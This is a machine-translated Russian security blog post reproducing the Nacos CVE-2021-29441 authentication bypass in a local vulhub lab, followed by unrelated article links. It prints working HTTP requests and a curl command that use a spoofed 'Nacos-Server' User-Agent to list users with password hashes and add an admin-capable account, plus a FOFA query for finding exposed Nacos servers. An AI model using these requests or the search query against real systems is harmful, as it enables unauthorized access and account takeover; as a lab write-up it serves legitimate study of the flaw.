Nacos неавторизованное повторение CVE-2021-29441
Nacos неавторизованное повторение CVE-2021-29441

✎ Чтение инструкций

Технические статьи Crow Security предназначены только для справки. Информация, представленная в этой статье, предназначена только для сотрудников сетевой безопасности, которые могут обнаруживать или обслуживать веб-сайты, серверы и т. д. (включая, помимо прочего), за которые они несут ответственность. Пожалуйста, не используйте эту информацию. в статье без авторизации. Техническая информация для выполнения интрузивных операций в любой компьютерной системе. Пользователь несет ответственность за любые прямые или косвенные последствия и убытки, возникшие в результате использования информации, представленной в настоящей статье.

Crow Security имеет право изменять, удалять и интерпретировать эту статью. Если вы перепечатываете или распространяете эту статью, вы должны обеспечить целостность статьи. Перепечатка без разрешения запрещена.

Инструменты, представленные в этой статье, предназначены только для обучения и не могут использоваться для других целей. Удалите файлы инструментов в течение 24 часов! ! !

Время обновления: 2022.06.21.

иллюстрировать

Справочный документ: https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md.

1. Знакомство с уязвимостью

Nacos — это новый проект с открытым исходным кодом, запущенный Alibaba. Это платформа динамического обнаружения сервисов, управления конфигурациями и сервисами, которая упрощает создание облачных приложений. Предназначен для помощи в обнаружении, настройке и управлении микросервисами. Nacos предоставляет простой в использовании набор функций, который позволяет быстро реализовать динамическое обнаружение сервисов, настройку сервисов, метаданные сервисов и управление трафиком.

Эта уязвимость возникает, когда nacos выполняет операции аутентификации и авторизации. В этом случае аутентификация не будет выполнена. Первоначальное намерение разработчика заключалось в обработке некоторых межсерверных запросов. Однако конфигурация была слишком простой, и в качестве согласованного пользовательского агента был установлен Nacos-Server, который был напрямую жестко запрограммирован в коде, что приводило к уязвимости. Воспользовавшись этой несанкционированной уязвимостью, злоумышленники могут получить конфиденциальную информацию, такую ​​как имена пользователей и пароли.

Затронутые версии: Nacos <= 2.0.0-ALPHA.1

2. Повторение уязвимости

2.1 Настройка среды

На этот раз используя vulhub для воспроизведения: docker-compose up -d --build

Проверьте текущий идентификатор докера:

Язык кода:javascript
копировать
После запуска среды,Порты 3306, 8848, 9848 и 9555 будут открыты.,В этом подвиге,Нам нужно использовать только порт 8848.,То есть порт веб-доступа. При выполнении процесса проверки уязвимостей,Пожалуйста, сначала посетите порт 8848.,Подтвердить открытие,В некоторых случаях служба nacos не запускается (из-за невозможности подключения к базе данных),Вы можете перезапустить службу nacos или перезапустить все службы.

docker-compose restart nacos

Посетите здесь: http://127.0.0.1:8848/nacos/#/login

2.2 Обнаружение уязвимостей

Посетите страницу

Язык кода:javascript
копировать
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

во время визита,ВоляUser-AgentЗначение изменяется наNacos-Server,Отправить на модуль ретранслятора,Взгляните на возвращаемый пакет:

Язык кода:javascript
копировать
GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

В этот момент вы видите, что возвращенный ответ равен 200.,и содержит текущее имя пользователяnacos,Пароль — это значение после шифрования с солью.

Язык кода:javascript
копировать
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Tue, 21 Jun 2022 10:44:10 GMT
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

2.3 Добавить нового пользователя

Добавьте нового пользователя по ссылке ниже:crow,Обратите внимание на использование метода POST.,并且需要ВоляUser-AgentВсе еще настроен наNacos-Server

Язык кода:javascript
копировать
http://127.0.0.1:8848/nacos/v1/auth/users?username=crow&password=crow
Язык кода:javascript
копировать
POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=crow&password=crow

В настоящее время перейдите по следующей ссылке, чтобы проверить, успешно ли добавлен пользователь.,需要ВоляUser-AgentВсе еще настроен наNacos-Server

Язык кода:javascript
копировать
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

На этом этапе пользователь успешно добавлен, войдите в систему, используя вновь созданную учетную запись:

конечно,Любая регистрация пользователя также может использовать его.curlдобавить,Эффект тот же.

Язык кода:javascript
копировать
curl -XPOST 'http://127.0.0.1/nacos/v1/auth/users?username=crow&password=crow' -H 'User-Agent: Nacos-Server'

3. ключевое слово фофа

Ключевое слово фофа:title="nacos"

4. Исправления ошибок

Завершите работу среды сразу после устранения локальных уязвимостей:

Стратегия восстановления заключается в обновлении версии Nacos до последней версии.

boy illustration
RasaGpt — платформа чат-ботов на основе Rasa и LLM.
boy illustration
Nomic Embed: воспроизводимая модель внедрения SOTA с открытым исходным кодом.
boy illustration
Улучшение YOLOv8: EMA основана на эффективном многомасштабном внимании, основанном на межпространственном обучении, и эффект лучше, чем у ECA, CBAM и CA. Малые цели имеют очевидные преимущества | ICASSP2023
boy illustration
Урок 1 серии Libtorch: Тензорная библиотека Silky C++
boy illustration
Руководство по локальному развертыванию Stable Diffusion: подробные шаги и анализ распространенных проблем
boy illustration
Полностью автоматический инструмент для работы с видео в один клик: VideoLingo
boy illustration
Улучшения оптимизации RT-DETR: облегченные улучшения магистрали | Support Paddle облегченный rtdetr-r18, rtdetr-r34, rtdetr-r50, rtdet
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | Деформируемое внимание с большим ядром (D-LKA Attention), большое ядро ​​​​свертки улучшает механизм внимания восприимчивых полей с различными функциями
boy illustration
Создано Datawhale: выпущено «Руководство по тонкой настройке развертывания большой модели GLM-4»!
boy illustration
7B превышает десятки миллиардов, aiXcoder-7B с открытым исходным кодом Пекинского университета — это самая мощная модель большого кода, лучший выбор для корпоративного развертывания.
boy illustration
Используйте модель Huggingface, чтобы заменить интерфейс внедрения OpenAI в китайской среде.
boy illustration
Оригинальные улучшения YOLOv8: несколько новых улучшений | Сохранение исходной информации — алгоритм отделяемой по глубине свертки (MDSConv) |
boy illustration
Второй пилот облачной разработки | Быстро поиграйте со средствами разработки на базе искусственного интеллекта
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция с нулевым кодированием и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
Решенная Ошибка | Загрузка PyTorch медленная: TimeoutError: [Errno 110] При загрузке факела истекло время ожидания — Cat Head Tiger
boy illustration
Brother OCR, библиотека с открытым исходным кодом для Python, которая распознает коды проверки.
boy illustration
Новейшее подробное руководство по загрузке и использованию последней демонстрационной версии набора данных COCO.
boy illustration
Выпущен отчет о крупной модели финансовой отрасли за 2023 год | Полный текст включен в загрузку |
boy illustration
Обычные компьютеры также могут работать с большими моделями, и вы можете получить личного помощника с искусственным интеллектом за три шага | Руководство для начинающих по локальному развертыванию LLaMA-3
boy illustration
Одной статьи достаточно для анализа фактора транскрипции SCENIC на Python (4)
boy illustration
Бросая вызов ограничениям производительности небольших видеокарт, он научит вас запускать большие модели глубокого обучения с ограниченными ресурсами, а также предоставит полное руководство по оценке и эффективному использованию памяти графического процессора!
boy illustration
Команда Fudan NLP опубликовала 80-страничный обзор крупномасштабных модельных агентов, в котором в одной статье представлен обзор текущего состояния и будущего агентов ИИ.
boy illustration
[Эксклюзив] Вы должны знать о новой функции JetBrains 2024.1 «Полнострочное завершение кода», чтобы решить вашу путаницу!
boy illustration
Краткое изложение базовых знаний о регистрации изображений 1.0
boy illustration
Новейшее подробное руководство по установке и использованию библиотеки cv2 (OpenCV, opencv-python) в Python.
boy illustration
Легко создайте локальную базу знаний для крупных моделей на основе Ollama+AnythingLLM.
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание решения. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Одна статья поможет вам понять RAG (Retrival Enhanced Generation) | Введение в концепцию и теорию + практику работы с кодом (включая исходный код).
boy illustration
Эволюция архитектуры шлюза облачной разработки
boy illustration
Docker и Kubernetes [Разработка контейнерных приложений с помощью Python]